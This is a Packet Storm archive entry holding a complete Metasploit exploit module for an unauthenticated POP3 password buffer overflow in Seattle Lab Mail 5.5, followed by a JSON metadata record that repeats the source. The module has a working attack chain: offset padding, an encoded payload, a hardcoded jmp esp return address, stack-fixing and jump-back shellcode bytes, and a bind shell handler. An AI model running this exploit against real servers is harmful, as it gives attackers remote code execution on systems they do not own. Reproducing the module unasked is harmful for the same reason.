ID PACKETSTORM:83178 Type packetstorm Reporter stinko Modified 2009-11-26T00:00:00
Description
`##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
'Description' => %q{
There exists an unauthenticated buffer overflow vulnerability
in the POP3 server of Seattle Lab Mail 5.5 when sending a password
with excessive length.
Successful exploitation should not crash either the
service or the server; however, after initial use the
port cannot be reused for successive exploitation until
the service has been restarted. Consider using a command
execution payload following the bind shell to restart
the service if you need to reuse the same port.
The overflow appears to occur in the debugging/error reporting
section of the slmail.exe executable, and there are multiple
offsets that will lead to successful exploitation. This exploit
uses 2606, the offset that creates the smallest overall payload.
The other offset is 4654.
The return address is overwritten with a "jmp esp" call from the
application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
return address works against all version of Windows and service packs.
The last modification date on the library is dated 06/02/99. Assuming
that the code where the overflow occurs has not changed in some time,
prior version of SLMail may also be vulnerable with this exploit. The
author has not been able to acquire older versions of SLMail for
testing purposes. Please let us know if you were able to get this
exploit working against other SLMail versions.
},
'Author' => 'stinko',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['OSVDB', '12002'],
['BID', '7519'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x20",
'MinNops' => 100,
},
'Platform' => 'win',
'Targets' =>
[
['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
],
'DisclosureDate' => 'May 07 2003',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(110)
], self.class)
end
def exploit
connect
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
banner = sock.get_once
if banner !~ /^\+OK POP3 server (.*) ready/
print_error("POP3 server does not appear to be running")
return
end
sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
res = sock.get_once
if banner !~ /^\+OK (.*) welcome here$/
print_error("POP3 server rejected username")
return
end
request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
request << payload.encoded
request << [target.ret].pack('V')
request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes
request << rand_text_alphanumeric(512) # cruft
request << "\r\n"
sock.put(request)
handler
disconnect
end
end
`
{"id": "PACKETSTORM:83178", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Seattle Lab Mail 5.5 POP3 Buffer Overflow", "description": "", "published": "2009-11-26T00:00:00", "modified": "2009-11-26T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/83178/Seattle-Lab-Mail-5.5-POP3-Buffer-Overflow.html", "reporter": "stinko", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:28:32", "viewCount": 3, "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2016-11-03T10:28:32", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:28:32", "rev": 2}, "vulnersScore": 0.4}, "sourceHref": "https://packetstormsecurity.com/files/download/83178/seattlelab_pass.rb.txt", "sourceData": "`## \n# $Id$ \n## \n \n## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/framework/ \n## \n \n \nrequire 'msf/core' \n \n \nclass Metasploit3 < Msf::Exploit::Remote \n \ninclude Msf::Exploit::Remote::Tcp \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow', \n'Description' => %q{ \nThere exists an unauthenticated buffer overflow vulnerability \nin the POP3 server of Seattle Lab Mail 5.5 when sending a password \nwith excessive length. \n \nSuccessful exploitation should not crash either the \nservice or the server; however, after initial use the \nport cannot be reused for successive exploitation until \nthe service has been restarted. Consider using a command \nexecution payload following the bind shell to restart \nthe service if you need to reuse the same port. \n \nThe overflow appears to occur in the debugging/error reporting \nsection of the slmail.exe executable, and there are multiple \noffsets that will lead to successful exploitation. This exploit \nuses 2606, the offset that creates the smallest overall payload. \nThe other offset is 4654. \n \nThe return address is overwritten with a \"jmp esp\" call from the \napplication library SLMFC.DLL found in %SYSTEM%\\\\system32\\\\. This \nreturn address works against all version of Windows and service packs. \n \nThe last modification date on the library is dated 06/02/99. Assuming \nthat the code where the overflow occurs has not changed in some time, \nprior version of SLMail may also be vulnerable with this exploit. The \nauthor has not been able to acquire older versions of SLMail for \ntesting purposes. Please let us know if you were able to get this \nexploit working against other SLMail versions. \n}, \n'Author' => 'stinko', \n'License' => MSF_LICENSE, \n'Version' => '$Revision$', \n'References' => \n[ \n['OSVDB', '12002'], \n['BID', '7519'], \n], \n'Privileged' => true, \n'DefaultOptions' => \n{ \n'EXITFUNC' => 'thread', \n}, \n'Payload' => \n{ \n'Space' => 600, \n'BadChars' => \"\\x00\\x0a\\x0d\\x20\", \n'MinNops' => 100, \n}, \n'Platform' => 'win', \n'Targets' => \n[ \n['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ] \n], \n'DisclosureDate' => 'May 07 2003', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOpt::RPORT(110) \n], self.class) \n \nend \n \ndef exploit \nconnect \n \nprint_status(\"Trying #{target.name} using jmp esp at #{\"%.8x\" % target.ret}\") \n \nbanner = sock.get_once \nif banner !~ /^\\+OK POP3 server (.*) ready/ \nprint_error(\"POP3 server does not appear to be running\") \nreturn \nend \n \nsock.put(\"USER #{rand_text_alphanumeric(10)}\\r\\n\") \nres = sock.get_once \nif banner !~ /^\\+OK (.*) welcome here$/ \nprint_error(\"POP3 server rejected username\") \nreturn \nend \n \nrequest = \"PASS \" + rand_text_alphanumeric(target['Offset'] - payload.encoded.length) \nrequest << payload.encoded \nrequest << [target.ret].pack('V') \nrequest << \"\\x81\\xc4\\xff\\xef\\xff\\xff\\x44\" # fix the stack \nrequest << \"\\xe9\\xcb\\xfd\\xff\\xff\" # go back 560 bytes \nrequest << rand_text_alphanumeric(512) # cruft \nrequest << \"\\r\\n\" \n \nsock.put(request) \n \nhandler \ndisconnect \nend \n \nend \n`\n"}